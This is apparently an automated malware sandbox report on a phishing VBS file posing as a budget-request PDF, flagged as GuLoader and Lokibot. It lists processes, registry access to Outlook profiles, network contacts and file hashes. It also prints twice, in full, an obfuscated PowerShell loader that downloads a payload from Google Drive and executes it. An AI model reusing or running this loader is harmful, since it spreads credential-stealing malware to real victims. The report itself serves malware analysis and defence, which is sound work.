"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "<#Festivalfolket Provaccination skydeprammens Vinterleg #>;$Pliosaurus='Kneppede';<#Kvabtorsk Fremholdes Programmelkonstruktionen Florate Fantomers #>;$Adilss=$host.PrivateData;If ($Adilss) {$Macabreness++;}function Teleskopaffjedringer($Varmefordeling){$Brittles=$Varmefordeling.Length-$Macabreness;for( $Unspottable27=5;$Unspottable27 -lt $Brittles;$Unspottable27+=6){$Middelstanden+=$Varmefordeling[$Unspottable27];}$Middelstanden;}function Pedologic59($Bordellets){ & ($Epaulement) ($Bordellets);}$Kootchar=Teleskopaffjedringer 'RoyalMBer roB gumzPa,beiOranglVejl lVer ea Fabu/,etta5Mi si.sv,ke0Germi Fiske(Me hhWBibliiSneginHep.tdKa,apo TeakwupbowsSmoot StrbeN Em tTHyste Sv.ne1Skvad0Sta e. Pred0C,unt;D,odo bedgoWTax ki .yponPreco6Ru.ds4Jacul; Dron enbrxOmpla6Tea t4 a vn;Recom photorOp ylvRemis:Jager1Asyll2Futur1 xuv.Bortf0F rur)Afi.e OvergGGrandeskar.cPyralk TungoMater/Lde v2Backw0 Yuga1tykbu0He.te0 Hen.1Aller0Snowb1Pos.e andsFUnp siBnnemr P rleHulebfGeneaoSvrmex ntab/Accen1 Skyf2Weiss1Di lo. Bulk0 Hype ';$Guamuchil=Teleskopaffjedringer ' PerouVelsesMaalee Aidsr B.an- Ci eaaftesGU,streHundeNs.mmeTconsc ';$Nydannelsen=Teleskopaffjedringer 'F igrh Kam tTeleft An cpInfrasHejse:Rafle/Trak./concadB sonrCart,iinterv,oeree Refl.ResmegKokseoDestioObliggVirksl for,eGallo.Indsic Eso oKri imFran / SlbeuAntikcHafiz?Downse.bbesx AdnepQuai o orkrOutkntla un=Transdunge o.otogwstudinPraeslProsaoProsaaUnderdSwitc&Polygi steddHoyma= A ar1Trag lPla.utM sapO Act 5Alm.nCParge6Pauc,bMummeY SkroYUnpersDecla8a ignTKampuCAj gapAfson3 LentGUdeliUH demv erh5meta rReo,sTPrjs - estIHavnel P antangriSForan2 AleyyUntrum TranqFostewG,dseD etss ';$Sagsgte=Teleskopaffjedringer 'Bolsh>Outki ';$Epaulement=Teleskopaffjedringer 'GalliIdob eeUnderXcrani ';$hexastich='Enneateric';$Lecithinase = Teleskopaffjedringer 'TophueUnvocc GloihCou aoGemin Spirk%NyvuraCafflpSaddep dobodatom aCeromtMart aGge,u% deaf\Shum.B .rnea Med r.ladrdT lereP onehGallov Mu la acralHj ta.RinsaEUndernTeleszTran, Print& igfo&Chis LagereFodhvcMiasmhAp reoMikro l tet agg ';Pedologic59 (Teleskopaffjedringer 'Misdi$Ris egStolpl lukooImmi bPha aa redel Stra: tetBTransaGen ra FirmnGendad gokklTrkulgUnnergFinineGouarlCaldesEstope Ud a=F rve(HypotcPro tm ,ercd U et homp/ CraccItchw Hayco$ BoskL tofmeFuldbcBermmiUlotrtMicrohOvermiAmazonJawboaLymphsDrifteNedhu)Cl.pi ');Pedologic59 (Teleskopaffjedringer 'Kortb$Rose.gAttaclSynapoRetslbLi gyaSg.scl Imd.:SparkTPlausoJacksl.anskvfladeaHants=Bir,h$Na teNRefecyM ssadskydeaRingen Une,n RumteSt.rtlFerresMultieMo.alnTvang. PiblsMajsep Fin.lHolteimetactMuse (Verde$EfterSArchdaLithog nbuns quadgQuotatRoutie Xy o) Syst ');Pedologic59 (Teleskopaffjedringer 'Vrdie[ rftcNGlimdeRetrotC ivy.TopuiSscuffeImmatruskylv AnisiAlm ncPseudeBlaspPMixtuoIndgaiTotorn onnet DagbMRundta.ossinPseudaSliveg vume remr Un r]Apida:J,sti:,edjuSDyrsse CliqcvindmuHyrd r Trk,i ForstUnderyUnstoPBal.rrNed,koHel et BibloT,poac addoTaansl,onow Hj mm=Flau, Speak[ orsmNLser ecentrtOve,m.SkrmmSFunkte GunpcA.roauSlaverHjreciCa.kytB lloyAmaraP Mod,rSpedioBaan tScotooDatomcGrsseo D nilPaabuTUnp.myFolkepK ogleBrand]Under:Konse:O,asiTmortrlTurnbs ebra1pseud2 Amts ');$Nydannelsen=$Tolva[0];$Bengnaveres= (Teleskopaffjedringer ' Meth$QuantGMinorLB,llsOOverpBIdylla Sp rLEksp :OmrysCPosthlHovedAAfhasnDiploLTripae AnemsPeppiSHudo =PathoNFortjE ExtrwJulel-PrecoOBddelBGinnej fiduETarifCPleniTSangu skrivsTaarnyFlyttSSti nTA ailETamboMOv rw. DruknFjumreErgott.oved.Ner eWFininEGeolobVbnencPoetilVerdeiMaskie Ha.snIndkot');$Bengnaveres+=$Baandlggelse[1];Pedologic59 ($Bengnaveres);Pedologic59 (Teleskopaffjedringer 'Aktiv$Bio eC irculFortraRobinnBrestl Buffe Beh.sF.skesExost.PretrHStille DeepaSlut dAranee ynanrHiplispostv[ Ther$RefelGPopkouSun haRoudkmGymnouSp jtcAsp rhGra diFreellHurdl] larm=Fr sc$prcisK ErgooAr,aloBalnet flejcun ouhRadioa VelsrBgesp ');$Scrammed=Teleskopaffjedringer 'Bicar$Sonn,CP,oevlTer eaOpgr.n WonglGravre DamssSinlesRstis. t ivDHype oNudiswOmhygnHaplolafsliochestaUnjuddNeuraF limico ntlDiskeeSakra(Dep h$Ther NPestey egasd ExtraCharln AfrunAmathe FishlBrochsGnathe.permnParti, A li$Po,ynCRowlohAmat aSadeln c.vaeF ngilFo.dml Vogn)Charl ';$Chanell=$Baandlggelse[0];Pedologic59 (Teleskopaffjedringer 'Un.en$IndiaGRevallK preOKo dibKamufAStereLoplri:PlantGBy.niOklimpdPericSA tritUnco.oMisadgDispoE.hana=Skole( Difftsol eENedkuSFusedTU der-Prs dPRdha AHengitG neth Roug Filre$ Att CKildehDrammARe,lun Bs eeUnf oL vikil Udpo)Rerow ');while (!$godstoge) {Pedologic59 (Teleskopaffjedringer 'Ato i$Fa tigSideal F.ueoUnt abA,abiaBai,ilUdske:FiskeKUnderaImmorf ElegfFe lte SturpPaedouAut dnDu,fac S.rahXantheTogrerprs ns lgu=Sam e$atr ctS,mphrPrediu,deryevanes ') ;Pedologic59 $Scrammed;Pedologic59 (Teleskopaffjedringer 'DramaSTopputunsinaMajusrsvenntR fle- For SBursalSekveeFakkeeCoh bpProta Bache4Bevil ');Pedologic59 (Teleskopaffjedringer 'C.uga$S,mvig tilvlAnlgsoUds.lbK.yneaSten,l.naps:ProdigUnd poKtu hdepitesB.lurtUn,rooFe ongFe,lbeAbefe= Skde(Clea T lugte HuslsCanaltSbeva-KontoPP ychaV lstt Resihlando forpl$krimiC DyrehInteraSnigsnReekseVe,telSmaallAu is)Bost ') ;Pedologic59 (Teleskopaffjedringer ' Vege$ TidsgUnexcl,egreoPu teb GrooaBr enl Hypo:,owisR AkkoeD.centYeorlsBeklasTrekay oncsc pittLympheUnfixmEnepi=Ext a$ pulegGiredl almeoemb,lbGuldmaPim,elEd ti:.cecaK,urswoHva.pnnaboftKron,rTrkkro TelelFibrifFl stu.ytjenHentekTagkatUnivaiFo teoMylden rosteStretrAcephsHjovn2Ungut3Aands0Infec+Melod+Derma%Embry$Op orT urleoMitchlMorgevEksemaHstma.DikelcKoreco DomsuSnrenno ridtStats ') ;$Nydannelsen=$Tolva[$Retssystem];}$Hovedstadsregionens=324505;$Primost=29091;Pedologic59 (Teleskopaffjedringer 'Skjor$Overgg ,pkalOver.oDecapbKvivaaSynodlKr,om:HieraSre,inuB.tsepSyreneL,engrMa temUn cqnDewladBavn sS.itt H ems=B sge Rem.sGAnd,oeAlenetKlamr- She CAppeloAperinillintFormeeHeptanpretztFeud, Prech$ OverC aubeh I.enamimesnLovpreKvalil DrowlBe ns ');Pedologic59 (Teleskopaffjedringer 'Baads$FremlgSl.efl motoo MejebNetbaaPandal Brev: CyrtBp ycha RendnTryktiOarl.sUnc kt BarseSethir St eiBol inHel iereser be bn=Bekli Si e[ VotaS RastyFo tssan.ectSvbelePlatfm Anti.AarskCFo ieo iparnA gifvRa aseTredvrOplystAltin]Lrerp:famil:Si.niFSubcrrPersoo oncamReinkBScaphaChucks,orkleSynag6Ordni4Ma emS Ny ttbrnepr DemoiS btenKonkrgSuper(barr,$K.tekStyng,u reatpSyn.aeMacadrBr scmRese.n WaffdOmgresderm,)Uphea ');Pedologic59 (Teleskopaffjedringer 'Dalle$ SagegUdartlAflaaorazzebUra,salivstl nutg:.ealiCKnepaoafskyeKotallGrn.eoNonpumL.ste U.bom=Ka,tu Sand [ TenoSEfte yBussesThorot SkyleBruttm edru.VrisnTUn.roeSterrxFullatCommu.KollaELimfanBugtacOmbrioEmeridOpkr,iB atinComebgSubsp]defat: usm:VildtAT.kmaS Ex lCSkinnI yritI atte.Emb yGNonmoeB,thltPunicSAl,entF ettrTriani HegenBifidgFestp(A dic$cur aBRheinaDec,inUngdoiSexbosLiegetKal ieA.drarFabriistueanoplggeFo.an) tand ');Pedologic59 (Teleskopaffjedringer 'fores$ Uni.gKabellComicoR furb ZagraGl rilE cip:RumenHTalriuInconlTromphHobroeBagerdmidpoe.rdspn Im es erm= Puna$UnfraCVisseoTalleeAtroflk,mbioToro m M,nu.Uncons olyu Forsb Ti.hsSt ertS.bstrMistriKanonn En.ogtelep(Ansva$To.awHKonomoD agovLegateratepdSacchsFil,btundera Skuldindics MaiorH.llee Evn,gKvartiKllino o.ernGasflePlantnGlazisEnep.,Locom$ Udd P ngdorLatriiCeltom ennoC.ntrs sedrtKrigs)Wed l ');Pedologic59 $Hulhedens;"

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Bardehval.Enz && echo t"

C:\Program Files (x86)\windows mail\wabmig.exe

"C:\Program Files (x86)\windows mail\wabmig.exe"

C:\Program Files (x86)\windows mail\wabmig.exe

"C:\Program Files (x86)\windows mail\wabmig.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 drive.google.com udp
GB 142.250.179.238:443 drive.google.com tcp
US 8.8.8.8:53 drive.usercontent.google.com udp
GB 142.250.187.225:443 drive.usercontent.google.com tcp
GB 142.250.179.238:443 drive.google.com tcp
US 8.8.8.8:53 c.pki.goog udp
GB 142.250.187.227:80 c.pki.goog tcp
US 8.8.8.8:53 o.pki.goog udp
GB 142.250.187.227:80 o.pki.goog tcp
GB 142.250.187.225:443 drive.usercontent.google.com tcp
US 137.184.191.215:80 137.184.191.215 tcp
US 137.184.191.215:80 137.184.191.215 tcp
US 137.184.191.215:80 137.184.191.215 tcp
US 8.8.8.8:53 crl.microsoft.com udp
GB 2.18.190.71:80 crl.microsoft.com tcp
US 8.8.8.8:53 www.microsoft.com udp
GB 95.100.245.144:80 www.microsoft.com tcp
US 137.184.191.215:80 137.184.191.215 tcp

Files

memory/2772-4-0x000007FEF45EE000-0x000007FEF45EF000-memory.dmp

memory/2772-5-0x000000001B550000-0x000000001B832000-memory.dmp

memory/2772-6-0x0000000002820000-0x0000000002828000-memory.dmp

memory/2772-7-0x000007FEF4330000-0x000007FEF4CCD000-memory.dmp

memory/2772-8-0x000007FEF4330000-0x000007FEF4CCD000-memory.dmp

memory/2772-9-0x000007FEF4330000-0x000007FEF4CCD000-memory.dmp

memory/2772-10-0x000007FEF4330000-0x000007FEF4CCD000-memory.dmp

memory/2772-11-0x000007FEF4330000-0x000007FEF4CCD000-memory.dmp

memory/2772-13-0x000007FEF4330000-0x000007FEF4CCD000-memory.dmp

memory/2772-14-0x000007FEF45EE000-0x000007FEF45EF000-memory.dmp

memory/2772-15-0x000007FEF4330000-0x000007FEF4CCD000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\IOKFD8TV5E8BZYQIAKQK.temp

MD5 9b94e4ec94ba57496ceef5336981ff33
SHA1 446e7a5140a9e48ad1dc5f930d03fbd7e2ccf835
SHA256 814d89cf30523ea43db93b36ec93c1510f4649aece0bc551698f4458d016e44e
SHA512 ae6cde6e472fc47564094cdb1cad713e97fdfb7c2bfbe3f6f079df325cdfa1af7ba27c785133db8975603cc3cebe8948910e68bdc4af8b86b46eaff52b90936a

C:\Users\Admin\AppData\Roaming\Bardehval.Enz

MD5 e048f9895e60b14e68f76e0fcadd5d08
SHA1 5a0e7bbb4c32a5aab5d3b85ffd49b89b745e3c8a
SHA256 5db5b10985a7f39cc9fcfc42b352709355f3b83a724b9fa24b8806c9feb3b029
SHA512 5ef521cee99243aef2621caac9f0ae85357ee4ab84b80452dfe473d473e9a0e965717d5abd3445f73456104afbe76b6e819e666f77df4bb32b6cb7132ce069f0

memory/2204-20-0x0000000006690000-0x000000000BFEF000-memory.dmp

memory/1108-21-0x0000000000680000-0x0000000005FDF000-memory.dmp

memory/1108-23-0x0000000000400000-0x0000000000581000-memory.dmp

memory/2772-46-0x000007FEF4330000-0x000007FEF4CCD000-memory.dmp

memory/1108-45-0x0000000000680000-0x0000000005FDF000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3551809350-4263495960-1443967649-1000\0f5007522459c86e95ffcc62f32308f1_5a410d66-f84f-4a6b-9b29-3982febe58d9

MD5 d898504a722bff1524134c6ab6a5eaa5
SHA1 e0fdc90c2ca2a0219c99d2758e68c18875a3e11e
SHA256 878f32f76b159494f5a39f9321616c6068cdb82e88df89bcc739bbc1ea78e1f9
SHA512 26a4398bffb0c0aef9a6ec53cd3367a2d0abf2f70097f711bbbf1e9e32fd9f1a72121691bb6a39eeb55d596edd527934e541b4defb3b1426b1d1a6429804dc61

C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3551809350-4263495960-1443967649-1000\0f5007522459c86e95ffcc62f32308f1_5a410d66-f84f-4a6b-9b29-3982febe58d9

MD5 c07225d4e7d01d31042965f048728a0a
SHA1 69d70b340fd9f44c89adb9a2278df84faa9906b7
SHA256 8c136c7ae08020ad16fd1928e36ad335ddef8b85906d66b712fff049aa57dc9a
SHA512 23d3cea738e1abf561320847c39dadc8b5794d7bd8761b0457956f827a17ad2556118b909a3e6929db79980ccf156a6f58ac823cf88329e62417d2807b34b64b

Analysis: behavioral2

Detonation Overview

Submitted

2024-09-17 03:56

Reported

2024-09-17 03:59

Platform

win10v2004-20240802-en

Max time kernel

147s

Max time network

150s

Command Line

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Request for budget 09-17-2024·pdf.vbs"

Signatures

Guloader,Cloudeye

downloader guloader

Lokibot

trojan spyware stealer lokibot

Credentials from Password Stores: Credentials from Web Browsers

credential_access stealer

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\Control Panel\International\Geo\Nation C:\Windows\System32\WScript.exe N/A

Accesses Microsoft Outlook profiles

collection
Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook C:\Program Files (x86)\windows mail\wabmig.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook C:\Program Files (x86)\windows mail\wabmig.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook C:\Program Files (x86)\windows mail\wabmig.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe N/A

Legitimate hosting services abused for malware hosting/C2

Description Indicator Process Target
N/A drive.google.com N/A N/A
N/A drive.google.com N/A N/A
N/A drive.google.com N/A N/A

Suspicious use of NtCreateThreadExHideFromDebugger

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\windows mail\wabmig.exe N/A
N/A N/A C:\Program Files (x86)\windows mail\wabmig.exe N/A

Suspicious use of NtSetInformationThreadHideFromDebugger

Description Indicator Process Target
N/A N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Program Files (x86)\windows mail\wabmig.exe N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 5012 set thread context of 4364 N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wabmig.exe

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Program Files (x86)\windows mail\wabmig.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A

Suspicious behavior: MapViewOfSection

Description Indicator Process Target
N/A N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files (x86)\windows mail\wabmig.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2924 wrote to memory of 4340 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2924 wrote to memory of 4340 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4340 wrote to memory of 4896 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 4340 wrote to memory of 4896 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 4340 wrote to memory of 3116 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 4340 wrote to memory of 3116 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 3116 wrote to memory of 5012 N/A C:\Windows\system32\cmd.exe C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
PID 3116 wrote to memory of 5012 N/A C:\Windows\system32\cmd.exe C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
PID 3116 wrote to memory of 5012 N/A C:\Windows\system32\cmd.exe C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
PID 5012 wrote to memory of 3028 N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\cmd.exe
PID 5012 wrote to memory of 3028 N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\cmd.exe
PID 5012 wrote to memory of 3028 N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\cmd.exe
PID 5012 wrote to memory of 4364 N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wabmig.exe
PID 5012 wrote to memory of 4364 N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wabmig.exe
PID 5012 wrote to memory of 4364 N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wabmig.exe
PID 5012 wrote to memory of 4364 N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wabmig.exe
PID 5012 wrote to memory of 4364 N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wabmig.exe

outlook_office_path

Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook C:\Program Files (x86)\windows mail\wabmig.exe N/A

outlook_win_path

Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook C:\Program Files (x86)\windows mail\wabmig.exe N/A

Processes

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Request for budget 09-17-2024·pdf.vbs"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Festivalfolket Provaccination skydeprammens Vinterleg #>;$Pliosaurus='Kneppede';<#Kvabtorsk Fremholdes Programmelkonstruktionen Florate Fantomers #>;$Adilss=$host.PrivateData;If ($Adilss) {$Macabreness++;}function Teleskopaffjedringer($Varmefordeling){$Brittles=$Varmefordeling.Length-$Macabreness;for( $Unspottable27=5;$Unspottable27 -lt $Brittles;$Unspottable27+=6){$Middelstanden+=$Varmefordeling[$Unspottable27];}$Middelstanden;}function Pedologic59($Bordellets){ & ($Epaulement) ($Bordellets);}$Kootchar=Teleskopaffjedringer 'RoyalMBer roB gumzPa,beiOranglVejl lVer ea Fabu/,etta5Mi si.sv,ke0Germi Fiske(Me hhWBibliiSneginHep.tdKa,apo TeakwupbowsSmoot StrbeN Em tTHyste Sv.ne1Skvad0Sta e. Pred0C,unt;D,odo bedgoWTax ki .yponPreco6Ru.ds4Jacul; Dron enbrxOmpla6Tea t4 a vn;Recom photorOp ylvRemis:Jager1Asyll2Futur1 xuv.Bortf0F rur)Afi.e OvergGGrandeskar.cPyralk TungoMater/Lde v2Backw0 Yuga1tykbu0He.te0 Hen.1Aller0Snowb1Pos.e andsFUnp siBnnemr P rleHulebfGeneaoSvrmex ntab/Accen1 Skyf2Weiss1Di lo. Bulk0 Hype ';$Guamuchil=Teleskopaffjedringer ' PerouVelsesMaalee Aidsr B.an- Ci eaaftesGU,streHundeNs.mmeTconsc ';$Nydannelsen=Teleskopaffjedringer 'F igrh Kam tTeleft An cpInfrasHejse:Rafle/Trak./concadB sonrCart,iinterv,oeree Refl.ResmegKokseoDestioObliggVirksl for,eGallo.Indsic Eso oKri imFran / SlbeuAntikcHafiz?Downse.bbesx AdnepQuai o orkrOutkntla un=Transdunge o.otogwstudinPraeslProsaoProsaaUnderdSwitc&Polygi steddHoyma= A ar1Trag lPla.utM sapO Act 5Alm.nCParge6Pauc,bMummeY SkroYUnpersDecla8a ignTKampuCAj gapAfson3 LentGUdeliUH demv erh5meta rReo,sTPrjs - estIHavnel P antangriSForan2 AleyyUntrum TranqFostewG,dseD etss ';$Sagsgte=Teleskopaffjedringer 'Bolsh>Outki ';$Epaulement=Teleskopaffjedringer 'GalliIdob eeUnderXcrani ';$hexastich='Enneateric';$Lecithinase = Teleskopaffjedringer 'TophueUnvocc GloihCou aoGemin Spirk%NyvuraCafflpSaddep dobodatom aCeromtMart aGge,u% deaf\Shum.B .rnea Med r.ladrdT lereP onehGallov Mu la acralHj ta.RinsaEUndernTeleszTran, Print& igfo&Chis LagereFodhvcMiasmhAp reoMikro l tet agg ';Pedologic59 (Teleskopaffjedringer 'Misdi$Ris egStolpl lukooImmi bPha aa redel Stra: tetBTransaGen ra FirmnGendad gokklTrkulgUnnergFinineGouarlCaldesEstope Ud a=F rve(HypotcPro tm ,ercd U et homp/ CraccItchw Hayco$ BoskL tofmeFuldbcBermmiUlotrtMicrohOvermiAmazonJawboaLymphsDrifteNedhu)Cl.pi ');Pedologic59 (Teleskopaffjedringer 'Kortb$Rose.gAttaclSynapoRetslbLi gyaSg.scl Imd.:SparkTPlausoJacksl.anskvfladeaHants=Bir,h$Na teNRefecyM ssadskydeaRingen Une,n RumteSt.rtlFerresMultieMo.alnTvang. PiblsMajsep Fin.lHolteimetactMuse (Verde$EfterSArchdaLithog nbuns quadgQuotatRoutie Xy o) Syst ');Pedologic59 (Teleskopaffjedringer 'Vrdie[ rftcNGlimdeRetrotC ivy.TopuiSscuffeImmatruskylv AnisiAlm ncPseudeBlaspPMixtuoIndgaiTotorn onnet DagbMRundta.ossinPseudaSliveg vume remr Un r]Apida:J,sti:,edjuSDyrsse CliqcvindmuHyrd r Trk,i ForstUnderyUnstoPBal.rrNed,koHel et BibloT,poac addoTaansl,onow Hj mm=Flau, Speak[ orsmNLser ecentrtOve,m.SkrmmSFunkte GunpcA.roauSlaverHjreciCa.kytB lloyAmaraP Mod,rSpedioBaan tScotooDatomcGrsseo D nilPaabuTUnp.myFolkepK ogleBrand]Under:Konse:O,asiTmortrlTurnbs ebra1pseud2 Amts ');$Nydannelsen=$Tolva[0];$Bengnaveres= (Teleskopaffjedringer ' Meth$QuantGMinorLB,llsOOverpBIdylla Sp rLEksp :OmrysCPosthlHovedAAfhasnDiploLTripae AnemsPeppiSHudo =PathoNFortjE ExtrwJulel-PrecoOBddelBGinnej fiduETarifCPleniTSangu skrivsTaarnyFlyttSSti nTA ailETamboMOv rw. DruknFjumreErgott.oved.Ner eWFininEGeolobVbnencPoetilVerdeiMaskie Ha.snIndkot');$Bengnaveres+=$Baandlggelse[1];Pedologic59 ($Bengnaveres);Pedologic59 (Teleskopaffjedringer 'Aktiv$Bio eC irculFortraRobinnBrestl Buffe Beh.sF.skesExost.PretrHStille DeepaSlut dAranee ynanrHiplispostv[ Ther$RefelGPopkouSun haRoudkmGymnouSp jtcAsp rhGra diFreellHurdl] larm=Fr sc$prcisK ErgooAr,aloBalnet flejcun ouhRadioa VelsrBgesp ');$Scrammed=Teleskopaffjedringer 'Bicar$Sonn,CP,oevlTer eaOpgr.n WonglGravre DamssSinlesRstis. t ivDHype oNudiswOmhygnHaplolafsliochestaUnjuddNeuraF limico ntlDiskeeSakra(Dep h$Ther NPestey egasd ExtraCharln AfrunAmathe FishlBrochsGnathe.permnParti, A li$Po,ynCRowlohAmat aSadeln c.vaeF ngilFo.dml Vogn)Charl ';$Chanell=$Baandlggelse[0];Pedologic59 (Teleskopaffjedringer 'Un.en$IndiaGRevallK preOKo dibKamufAStereLoplri:PlantGBy.niOklimpdPericSA tritUnco.oMisadgDispoE.hana=Skole( Difftsol eENedkuSFusedTU der-Prs dPRdha AHengitG neth Roug Filre$ Att CKildehDrammARe,lun Bs eeUnf oL vikil Udpo)Rerow ');while (!$godstoge) {Pedologic59 (Teleskopaffjedringer 'Ato i$Fa tigSideal F.ueoUnt abA,abiaBai,ilUdske:FiskeKUnderaImmorf ElegfFe lte SturpPaedouAut dnDu,fac S.rahXantheTogrerprs ns lgu=Sam e$atr ctS,mphrPrediu,deryevanes ') ;Pedologic59 $Scrammed;Pedologic59 (Teleskopaffjedringer 'DramaSTopputunsinaMajusrsvenntR fle- For SBursalSekveeFakkeeCoh bpProta Bache4Bevil ');Pedologic59 (Teleskopaffjedringer 'C.uga$S,mvig tilvlAnlgsoUds.lbK.yneaSten,l.naps:ProdigUnd poKtu hdepitesB.lurtUn,rooFe ongFe,lbeAbefe= Skde(Clea T lugte HuslsCanaltSbeva-KontoPP ychaV lstt Resihlando forpl$krimiC DyrehInteraSnigsnReekseVe,telSmaallAu is)Bost ') ;Pedologic59 (Teleskopaffjedringer ' Vege$ TidsgUnexcl,egreoPu teb GrooaBr enl Hypo:,owisR AkkoeD.centYeorlsBeklasTrekay oncsc pittLympheUnfixmEnepi=Ext a$ pulegGiredl almeoemb,lbGuldmaPim,elEd ti:.cecaK,urswoHva.pnnaboftKron,rTrkkro TelelFibrifFl stu.ytjenHentekTagkatUnivaiFo teoMylden rosteStretrAcephsHjovn2Ungut3Aands0Infec+Melod+Derma%Embry$Op orT urleoMitchlMorgevEksemaHstma.DikelcKoreco DomsuSnrenno ridtStats ') ;$Nydannelsen=$Tolva[$Retssystem];}$Hovedstadsregionens=324505;$Primost=29091;Pedologic59 (Teleskopaffjedringer 'Skjor$Overgg ,pkalOver.oDecapbKvivaaSynodlKr,om:HieraSre,inuB.tsepSyreneL,engrMa temUn cqnDewladBavn sS.itt H ems=B sge Rem.sGAnd,oeAlenetKlamr- She CAppeloAperinillintFormeeHeptanpretztFeud, Prech$ OverC aubeh I.enamimesnLovpreKvalil DrowlBe ns ');Pedologic59 (Teleskopaffjedringer 'Baads$FremlgSl.efl motoo MejebNetbaaPandal Brev: CyrtBp ycha RendnTryktiOarl.sUnc kt BarseSethir St eiBol inHel iereser be bn=Bekli Si e[ VotaS RastyFo tssan.ectSvbelePlatfm Anti.AarskCFo ieo iparnA gifvRa aseTredvrOplystAltin]Lrerp:famil:Si.niFSubcrrPersoo oncamReinkBScaphaChucks,orkleSynag6Ordni4Ma emS Ny ttbrnepr DemoiS btenKonkrgSuper(barr,$K.tekStyng,u reatpSyn.aeMacadrBr scmRese.n WaffdOmgresderm,)Uphea ');Pedologic59 (Teleskopaffjedringer 'Dalle$ SagegUdartlAflaaorazzebUra,salivstl nutg:.ealiCKnepaoafskyeKotallGrn.eoNonpumL.ste U.bom=Ka,tu Sand [ TenoSEfte yBussesThorot SkyleBruttm edru.VrisnTUn.roeSterrxFullatCommu.KollaELimfanBugtacOmbrioEmeridOpkr,iB atinComebgSubsp]defat: usm:VildtAT.kmaS Ex lCSkinnI yritI atte.Emb yGNonmoeB,thltPunicSAl,entF ettrTriani HegenBifidgFestp(A dic$cur aBRheinaDec,inUngdoiSexbosLiegetKal 